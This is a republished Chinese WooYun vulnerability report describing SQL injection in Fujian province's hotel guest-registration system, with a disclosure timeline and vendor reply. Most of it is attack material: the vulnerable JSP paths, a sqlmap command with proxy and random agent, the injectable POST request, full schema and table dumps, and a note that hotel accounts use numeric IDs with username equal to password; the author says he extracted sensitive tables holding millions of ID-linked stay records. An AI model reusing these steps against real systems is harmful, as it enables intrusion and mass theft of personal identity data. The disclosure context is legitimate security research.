福建省住宿人员采集系统SQL注射（涉及几百万个人详细开房信息/涉及全省6W+旅馆账号及信息/Oracle涉及31库）

admin
admin
admin
139598
文章
114
评论
2017年4月9日11:31:01评论341 views字数 263阅读0分52秒阅读模式
摘要

2016-03-29： 细节已通知厂商并且等待厂商处理中
2016-03-30： 厂商已经确认，细节仅向厂商公开
2016-04-09： 细节向核心白帽子及相关领域专家公开
2016-04-19： 细节向普通白帽子公开
2016-04-29： 细节向实习白帽子公开
2016-05-14： 细节向公众公开

漏洞概要 关注数(10) 关注此漏洞

缺陷编号： WooYun-2016-190454

漏洞标题： 福建省住宿人员采集系统SQL注射（涉及几百万个人详细开房信息/涉及全省6W+旅馆账号及信息/Oracle涉及31库）

相关厂商： 福建省住宿人员采集系统

漏洞作者： king7

提交时间： 2016-03-29 17:06

公开时间： 2016-05-14 09:40

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 20

漏洞状态： 已交由第三方合作机构(公安部一所)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 无

0人收藏

漏洞详情

披露状态：

2016-03-29： 细节已通知厂商并且等待厂商处理中
2016-03-30： 厂商已经确认，细节仅向厂商公开
2016-04-09： 细节向核心白帽子及相关领域专家公开
2016-04-19： 细节向普通白帽子公开
2016-04-29： 细节向实习白帽子公开
2016-05-14： 细节向公众公开

简要描述：

详细说明：

code 区域 
http://**.**.**.**/szpt/web/localpwd.jsp
code 区域 
http://**.**.**.**/szpt/web/localpwd.jsp

找回密码处，手机号and验证码均存在注入，这里使用*强制注入手机号，

code 区域 
sqlmap.py -r e:/1.txt --random-agent --proxy=**.**.**.**:8080

使用随机agent+proxy,经过漫长时间注入，把战果整理一下

涉及福建省，几百万人开房记录包含详细的身份证件信息。

涉及到全省十几万家旅馆，账号全部采用数字编号，200X,200X+1,user=pass,这里可用8148，8148登录，但是由于要安装控件，才能显示全部内容，我就不安装了...

这种旅馆采集系统也不是第一次报了，但是危害确实很大，估计近期的开房库一部分来源于采集系统。

数据注入较慢，选了几个数量较多，较为敏感的做了采集。

只证明，不做任何其他处理。

漏洞证明：

code 区域 
POST /szpt/web/register_save.jsp HTTP/1.1
 Host: **.**.**.**
 Content-Length: 109
 Cache-Control: max-age=0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Origin: http://**.**.**.**
 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0
 Content-Type: application/x-www-form-urlencoded
 Referer: http://**.**.**.**/szpt/web/register.jsp
 Accept-Encoding: gzip,deflate
 Accept-Language: zh-CN,zh;q=0.8
 Cookie: JSESSIONID=0001aYp9x5f9z631KOKazQYSyTs:-10HHS9
 
 c_mobileno=*&session_mobileno=1234&c_pwd=123456a&c_pwd2=123456a&c_xm=&c_pid=&c_addr=&c_qq=&c_mail=

POST包

code 区域 
available databases [31]:
 [*] CTXSYS
 [*] DBSNMP
 [*] DMSYS
 [*] EXFSYS
 [*] MDSYS
 [*] OLAPSYS
 [*] ORDSYS
 [*] OUTLN
 [*] SCOTT
 [*] SM2100
 [*] SYS
 [*] SYSMAN
 [*] SYSTEM
 [*] TC_BBS
 [*] TC_COMMON
 [*] TC_DWGL
 [*] TC_JCYW
 [*] TC_JWS
 [*] TC_PORTAL
 [*] TC_RKXT
 [*] TC_SJZH
 [*] TC_SZPT
 [*] TC_TOOLS
 [*] TC_WBLK
 [*] TC_WEBJJ
 [*] TC_WORKFLOW
 [*] TC_ZHYY
 [*] TSMSYS
 [*] WMSYS
 [*] XDB
 [*] XXZXDBA
 
 [16:58:00] [WARNING] HTTP error codes detected during run:
 500 (Internal Server Error) - 32 times
 [16:58:00] [INFO] fetched data logged to text files under 'C:/Users/k/.sqlmap/output/**.**.**.**'

数据库结构

code 区域 
Database: TC_SZPT
 [426 tables]
 +---------------------------+
 | A                         |
 | AA                        |
 | C                         |
 | CDC_T_LGY_JNLK            |
 | CJB                       |
 | EMPLOYEE                  |
 | JCJB                      |
 | LSQ                       |
 | PLAN_TABLE                |
 | T                         |
 | T_A                       |
 | T_BACYJGZ_INFO            |
 | T_BAK                     |
 | T_BAY_DWXX                |
 | T_BAY_TZJS                |
 | T_BAY_TZZB                |
 | T_BA_BAJGB                |
 | T_BA_BAPX                 |
 | T_BA_BAYSWJBXX            |
 | T_BA_BAY_FWDX             |
 | T_BA_CYQK                 |
 | T_BA_CYRYKCCXX            |
 | T_BA_CYRYRZXX             |
 | T_BA_DWXX_OTHER           |
 | T_BA_FFHTXX               |
 | T_BA_FFQK                 |
 | T_BA_FGSJBXX              |
 | T_BA_FWDX                 |
 | T_BA_FWGSCJR              |
 | T_BA_FWQY_BA              |
 | T_BA_FWQ_TMP              |
 | T_BA_GZLWGL               |
 | T_BA_JYB                  |
 | T_BA_KQJY                 |
 | T_BA_KSBMB                |
 | T_BA_KSBMB_0730           |
 | T_BA_KSBMB_BAK            |
 | T_BA_KSBMB_OLD            |
 | T_BA_KSCJ                 |
 | T_BA_LEAVEANDDUTY         |
 | T_BA_PHOTO_TMP            |
 | T_BA_POLICE               |
 | T_BA_POLICE_BAJG          |
 | T_BA_PXKC                 |
 | T_BA_QZSY_BA              |
 | T_BA_RYB                  |
 | T_BA_RYJCB                |
 | T_BA_RYPXB                |
 | T_BA_RYSWB                |
 | T_BA_TS                   |
 | T_BA_TSXX                 |
 | T_BA_USER                 |
 | T_BA_WZYY                 |
 | T_BA_XYB                  |
 | T_BA_YJT_KQ               |
 | T_BA_YYCD                 |
 | T_BA_ZB_CAR               |
 | T_BA_ZB_COMPUTER          |
 | T_BA_ZB_GUN               |
 | T_BA_ZB_GUN_LYRK          |
 | T_BA_ZB_OTHER_DEVICE      |
 | T_BA_ZB_OTHER_JYGH        |
 | T_BA_ZXZYBA_TMP           |
 | T_CAR                     |
 | T_CFG_JC_USER             |
 | T_CHECK_LGY_ZRQ           |
 | T_CL_CLCCXX               |
 | T_CL_CLCCXX_ZB            |
 | T_CL_CLXX_BAK150806       |
 | T_CL_CLYYXX               |
 | T_CL_CLYYXX_ZB            |
 | T_CL_FEE                  |
 | T_CL_FEE_TYPE_CONFIG      |
 | T_CL_FKYJ                 |
 | T_CL_HCXX                 |
 | T_CL_KHXX                 |
 | T_CL_PHOTO                |
 | T_CZW_USER                |
 | T_CZW_USER1107            |
 | T_CZW_USER_BAK            |
 | T_CZW_USER_LOG            |
 | T_DD_CORP_SET             |
 | T_DD_DDRY_PHOTO           |
 | T_DD_DDWPTZ_PHOTO         |
 | T_DD_DDWP_PHOTO           |
 | T_DD_MCDP                 |
 | T_DD_PAWNCHILD            |
 | T_DD_PAWNCHILD_TEMP       |
 | T_DD_PAWNMAIN             |
 | T_DD_PAWNMAN              |
 | T_DD_PAWNREDEEM           |
 | T_DD_PAWN_CONTINUE        |
 | T_DD_TICKET               |
 | T_DKQ_ID                  |
 | T_DKQ_IDBACK              |
 | T_FD_SEND_MESSAGE         |
 | T_FJ_MISSIONARY           |
 | T_FJ_SCRAP                |
 | T_FJ_SCRAPMAN             |
 | T_FJ_SCRAPTYPE            |
 | T_FJ_SHADINESS            |
 | T_FJ_SHOP                 |
 | T_GZDX_CGXX               |
 | T_GZDX_DOC_IN             |
 | T_GZDX_DOC_OUT            |
 | T_GZDX_DOSSIER            |
 | T_GZDX_GLLB_ALTER         |
 | T_GZDX_JGBJ               |
 | T_GZDX_LGXX               |
 | T_GZDX_QUXCUN             |
 | T_GZDX_XD                 |
 | T_GZDX_ZAGL               |
 | T_HANZIWB                 |
 | T_JIANCHA                 |
 | T_JXQK                    |
 | T_JXY_ACCIDENT            |
 | T_JXY_ASSWITH             |
 | T_JXY_CALLBACK            |
 | T_JXY_CARINF              |
 | T_JXY_CAR_PHOTO           |
 | T_JXY_CLBK                |
 | T_JXY_DRESSUP             |
 | T_JXY_FITTING             |
 | T_JXY_LOSECAR             |
 | T_JXY_MATCHING_CARINF     |
 | T_JXY_PJCK                |
 | T_JXY_REPAIR              |
 | T_JXY_RYBK                |
 | T_JXY_SHADINESS           |
 | T_JXY_STOPINF             |
 | T_JXY_WFFZ                |
 | T_JYZ_CYRYXX              |
 | T_JYZ_DYXX                |
 | T_JYZ_JYXX                |
 | T_JYZ_KYQK                |
 | T_JYZ_MONTH               |
 | T_JYZ_POSSET              |
 | T_JYZ_XCZPCJ              |
 | T_JYZ_ZPXX                |
 | T_KHXX                    |
 | T_LDRK_ADDR               |
 | T_LDRK_ADDR_BAK           |
 | T_LDRK_ADDR_OLD           |
 | T_LDRK_ADDR_PERMIT        |
 | T_LDRK_ADDR_PERMIT_BAK    |
 | T_LDRK_ADDR_PERMIT_BAK2   |
 | T_LDRK_AJDC_MRTJ          |
 | T_LDRK_AJRY_INFO          |
 | T_LDRK_AJ_INFO            |
 | T_LDRK_CARD               |
 | T_LDRK_CARD_JX            |
 | T_LDRK_CONFIG             |
 | T_LDRK_CRBXX              |
 | T_LDRK_FJGL               |
 | T_LDRK_FWZXX              |
 | T_LDRK_FWZ_QUXCUN         |
 | T_LDRK_FWZ_QUXCUN_ZRQ     |
 | T_LDRK_HOUSE              |
 | T_LDRK_HOUSE_BAK1         |
 | T_LDRK_HOUSE_CASE         |
 | T_LDRK_HOUSE_CHECK        |
 | T_LDRK_HOUSE_CZQK         |
 | T_LDRK_HOUSE_CZQK_TMP     |
 | T_LDRK_HOUSE_TMP          |
 | T_LDRK_HOUSE_ZXYY         |
 | T_LDRK_HOUSE_ZXYY_BAK     |
 | T_LDRK_INFO               |
 | T_LDRK_INFO_BZ            |
 | T_LDRK_INFO_BZ_LS         |
 | T_LDRK_INFO_BZ_TMP        |
 | T_LDRK_INFO_BZ_TMP1       |
 | T_LDRK_INFO_BZ_TMP1_BAK   |
 | T_LDRK_INFO_TEMP          |
 | T_LDRK_JKZ                |
 | T_LDRK_LKBD               |
 | T_LDRK_LOG                |
 | T_LDRK_MSG                |
 | T_LDRK_PERSON             |
 | T_LDRK_PERSON_LS          |
 | T_LDRK_QUXCUN             |
 | T_LDRK_QUXCUN_20110702    |
 | T_LDRK_QUXCUN_BAK         |
 | T_LDRK_RZXX               |
 | T_LDRK_SCHOOL             |
 | T_LDRK_SHOUJI             |
 | T_LDRK_SSFWXX             |
 | T_LDRK_SYXX               |
 | T_LDRK_SYZT               |
 | T_LDRK_TBSJ_LOG           |
 | T_LDRK_TOPONYM            |
 | T_LDRK_UNIT_INFO          |
 | T_LDRK_UNIT_TMP           |
 | T_LDRK_XDET               |
 | T_LDRK_XDET_LS            |
 | T_LDRK_YWJ                |
 | T_LDRK_ZRQ                |
 | T_LGY_CARDNO              |
 | T_LGY_ERR                 |
 | T_LGY_FJLX                |
 | T_LGY_FJXX                |
 | T_LGY_JKLK                |
 | T_LGY_JNLK20130609        |
 | T_LGY_JNLK_0531           |
 | T_LGY_JNLK_20130531       |
 | T_LGY_JNLK_BHZF           |
 | T_LGY_JNLK_HIS            |
 | T_LGY_JNLK_JK             |
 | T_LGY_JNLK_JK0913         |
 | T_LGY_JNLK_NEW            |
 | T_LGY_JNLK_OLD            |
 | T_LGY_JNLK_SM             |
 | T_LGY_JNLK_TRAN_TF        |
 | T_LGY_JNLK_UPDATE1        |
 | T_LGY_JNLK_UPDATE_BAK     |
 | T_LGY_JNLK_UPDATE_NEW     |
 | T_LGY_JNLK_WTF            |
 | T_LGY_JWLK                |
 | T_LGY_JWLK_BHZF           |
 | T_LGY_JWLK_JK             |
 | T_LGY_JWLK_SM             |
 | T_LGY_KYRY                |
 | T_LGY_KYRY_LG             |
 | T_LGY_LCXX                |
 | T_LGY_LGRZPXB             |
 | T_LGY_LGYJ                |
 | T_LGY_LG_JQM              |
 | T_LGY_LKXX_HF             |
 | T_LGY_MZTYW               |
 | T_LGY_PIC_BORN            |
 | T_LGY_PIC_INCISE          |
 | T_LGY_RZFJ                |
 | T_LGY_SCJL                |
 | T_LGY_SFZ_DZ              |
 | T_LGY_SYXX                |
 | T_LGY_TD                  |
 | T_LGY_TDCY                |
 | T_LGY_TRANTIME            |
 | T_LGY_TRANTIME_LG         |
 | T_LGY_TZJS                |
 | T_LGY_TZZB                |
 | T_LGY_USER_CFG            |
 | T_LGY_WCL                 |
 | T_LGY_WKDZ                |
 | T_LGY_WTF                 |
 | T_LGY_WZJLK               |
 | T_LOGIN_LOG               |
 | T_LYS                     |
 | T_MOBILE_CAPTURE          |
 | T_MOBILE_CORP_INF         |
 | T_MOBILE_DEAL             |
 | T_MOBILE_INF              |
 | T_MOBILE_ROB              |
 | T_MOBILE_SHADINESS        |
 | T_MOBILE_SJPPXH           |
 | T_NAME_COUNT              |
 | T_NB_BMXX                 |
 | T_NB_CLCRXX               |
 | T_NB_JCZGXX               |
 | T_NB_KYXXSB               |
 | T_NB_RYCLXX               |
 | T_NB_WPCRXX               |
 | T_NB_ZZWFXWXX             |
 | T_NEWS                    |
 | T_NOTICE                  |
 | T_OCR_SBJG                |
 | T_ORG                     |
 | T_ORG_BAK                 |
 | T_ORG_BAK1                |
 | T_ORG_PZ                  |
 | T_ORG_SZ                  |
 | T_ORG_SZ_BAK1             |
 | T_PHOTO                   |
 | T_PHOTO_SM                |
 | T_PHOTO_TMP               |
 | T_PINYIN                  |
 | T_PR_CAR                  |
 | T_PR_CAR_GUN              |
 | T_PR_CYRY                 |
 | T_PR_FWDX                 |
 | T_PR_GUN                  |
 | T_PR_OTHER_DEVICE         |
 | T_PR_SQL                  |
 | T_PSN_CHARACTER           |
 | T_PSN_ZRQ                 |
 | T_PUBLIC_AJAX             |
 | T_PUBLIC_MENU             |
 | T_PUBLIC_MESSAGE          |
 | T_PUBLIC_MESSAGE_REPLAY   |
 | T_PUBLIC_NOTICE           |
 | T_PUB_FBHYLXGL            |
 | T_PUB_FBHYXX              |
 | T_PUB_FBLXGL              |
 | T_PUB_KYQK                |
 | T_PUB_KYRY                |
 | T_PUB_KYWP                |
 | T_QSYZK_JOB               |
 | T_REG_USER_SESSION        |
 | T_SB_PACKAGE              |
 | T_SCRAPTYPE               |
 | T_SHOUDERMARK_ORDERDEL    |
 | T_SHOULDERMARK_LEVEL      |
 | T_SMS_TEL                 |
 | T_SMS_YYB                 |
 | T_SORT_MENU               |
 | T_SWAP_CFG                |
 | T_SWAP_MON                |
 | T_TABLES                  |
 | T_TEMP                    |
 | T_TEST                    |
 | T_TEST_TS                 |
 | T_TMP                     |
 | T_TMP1                    |
 | T_TRANTIME_NB             |
 | T_TRI_ERROR               |
 | T_UNIFORM_ORDER           |
 | T_UNIFORM_ORDER_DETAIL    |
 | T_UPDATE_LOG              |
 | T_USERS_SZ                |
 | T_USERS_SZ_BAK            |
 | T_USER_BAK                |
 | T_USER_ERR                |
 | T_USER_SZ                 |
 | T_USER_TYRZ               |
 | T_WB_DW                   |
 | T_WB_KPDW                 |
 | T_WB_KPDW_BAK             |
 | T_WB_KPTJ                 |
 | T_WEIBO_FANS_TMP          |
 | T_WEIBO_LOGIN_LOG         |
 | T_WEIBO_TJ                |
 | T_WEIXIN_EVENT            |
 | T_WEIXIN_GD_MESSAGE       |
 | T_WEIXIN_GOOD             |
 | T_WEIXIN_IMAGE            |
 | T_WEIXIN_JSTOKEN          |
 | T_WEIXIN_LOG              |
 | T_WEIXIN_MENU             |
 | T_WEIXIN_SEND             |
 | T_WEIXIN_TEL              |
 | T_WEIXIN_TOKEN            |
 | T_WEIXIN_XIANSHUO         |
 | T_WEIXIN_XIANSHUO_HCQK    |
 | T_WEIXIN_XIANSHUO_MAP     |
 | T_WEIXIN_XIANSHUO_MESSAGE |
 | T_WK_REGION_CONFIG        |
 | T_WTFK_WT                 |
 | T_WTFK_WT_HH              |
 | T_WWFW_SFZ_ZJSL           |
 | T_WW_ORG                  |
 | T_WW_QX_ROLEINFO          |
 | T_WW_QX_USERPRIVS         |
 | T_WW_ROLE_MENU            |
 | T_WW_USER                 |
 | T_WXP_DETAIL              |
 | T_WXP_LQXX                |
 | T_WXP_QTLK                |
 | T_WXP_WPCK                |
 | T_WXP_WPLK                |
 | T_XGY_CJDW                |
 | T_XGY_HOUSE               |
 | T_XGY_MACHINE_INFO        |
 | T_XGY_SYRK                |
 | T_YHXX_SZ                 |
 | T_YIREN_DEAL              |
 | T_YL_AQJCSBXX             |
 | T_YL_BAFFHTXX             |
 | T_YL_BAHTZP               |
 | T_YL_BAXX                 |
 | T_YL_BCBAXX               |
 | T_YL_BGDM                 |
 | T_YL_BLDSJKSBXX           |
 | T_YL_BWLCXX               |
 | T_YL_CYRYICKSLXX          |
 | T_YL_CYRYICKSLXX_BAK      |
 | T_YL_CYRYKCCXX            |
 | T_YL_CYRYRZXX             |
 | T_YL_CYRYTJXX             |
 | T_YL_DZYXJXX              |
 | T_YL_GWXX                 |
 | T_YL_ICKNJ                |
 | T_YL_JYXKZXX              |
 | T_YL_PMTXX                |
 | T_YL_ROLE_CJD_CS          |
 | T_YL_TJCLXX               |
 | T_YL_WGTZZXX              |
 | T_YL_YLFWCSCJDXX          |
 | T_YL_YLFWCSYYRZXX         |
 | T_YL_YLTJBJ               |
 | T_YL_YLTJCF               |
 | T_YL_YLTJCFRY             |
 | T_YL_YLTJCS               |
 | T_YL_YLTJFA               |
 | T_YL_YLTJRY               |
 | T_YSY_AWARD               |
 | T_YSY_CERTIFICATE         |
 | T_YSY_EMPLOYEE            |
 | T_YSY_FOREIGNPRINT        |
 | T_YSY_INDUSTRY            |
 | T_YSY_INVESTOR            |
 | T_YSY_MASTERFINANCE       |
 | T_YSY_OTHERPRINT          |
 | T_YSY_OTHERPRINTDEVICE    |
 | T_YSY_PACKINF             |
 | T_YSY_PERMITCARD          |
 | T_YSY_PRINAPPLY           |
 | T_YSY_PRINTDEVICE         |
 | T_YSY_QUALITY             |
 | T_YSY_RESOURCEPRINT       |
 | T_YSY_ZIDIAN              |
 | T_ZD_GWXX                 |
 | T_ZD_XTMC                 |
 | T_ZHYY_DWTJ               |
 | T_ZHYY_PDSZ               |
 | T_ZK_PLAN_TABLE           |
 | T_ZK_QSY                  |
 | T_ZK_QSYZK_JOB            |
 | T_ZK_QSY_BAK              |
 | T_ZK_QSY_CHECK_INFO       |
 | T_ZK_QSY_CHILDREN         |
 | T_ZK_QSY_RELATION_PSN     |
 | T_ZK_QSY_SWAP             |
 | T_ZK_ZKXX                 |
 | T_ZXJSBR_PHOTO_ALTER      |
 | V_FOREIGNER_ZZRY          |
 | ZK_NOTICE_PHOTO           |
 | ZK_PHOTO                  |
 +---------------------------+

当前库

福建省住宿人员采集系统SQL注射（涉及几百万个人详细开房信息/涉及全省6W+旅馆账号及信息/Oracle涉及31库）

福建省住宿人员采集系统SQL注射（涉及几百万个人详细开房信息/涉及全省6W+旅馆账号及信息/Oracle涉及31库）

福建省住宿人员采集系统SQL注射（涉及几百万个人详细开房信息/涉及全省6W+旅馆账号及信息/Oracle涉及31库）

福建省住宿人员采集系统SQL注射（涉及几百万个人详细开房信息/涉及全省6W+旅馆账号及信息/Oracle涉及31库）

福建省住宿人员采集系统SQL注射（涉及几百万个人详细开房信息/涉及全省6W+旅馆账号及信息/Oracle涉及31库）

福建省住宿人员采集系统SQL注射（涉及几百万个人详细开房信息/涉及全省6W+旅馆账号及信息/Oracle涉及31库）

福建省住宿人员采集系统SQL注射（涉及几百万个人详细开房信息/涉及全省6W+旅馆账号及信息/Oracle涉及31库）

福建省住宿人员采集系统SQL注射（涉及几百万个人详细开房信息/涉及全省6W+旅馆账号及信息/Oracle涉及31库）

福建省住宿人员采集系统SQL注射（涉及几百万个人详细开房信息/涉及全省6W+旅馆账号及信息/Oracle涉及31库）

福建省住宿人员采集系统SQL注射（涉及几百万个人详细开房信息/涉及全省6W+旅馆账号及信息/Oracle涉及31库）

修复方案：

版权声明：转载请注明来源 king7@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-03-30 09:31

厂商回复：

非常感谢！
你提交的漏洞已验证，会尽快修复。

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2016-03-29 17:11 | 木易 ( 普通白帽子 | Rank:347 漏洞数:70 | 不，，不要误会，我不是针对谁，我是说在座...)

    1

    牛都扛走了

  2. 2016-03-29 17:28 | DNS ( 普通白帽子 | Rank:803 漏洞数:85 | )

    1

    表哥666

  3. 2016-03-29 17:35 | king7 ( 普通白帽子 | Rank:1902 漏洞数:253 | 早知如此绊人心，何如当初莫相识。)

    1

    @DNS 你赶紧交货

  4. 2016-03-30 09:37 | DNS ( 普通白帽子 | Rank:803 漏洞数:85 | )

    1

    @king7 没有咋办

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin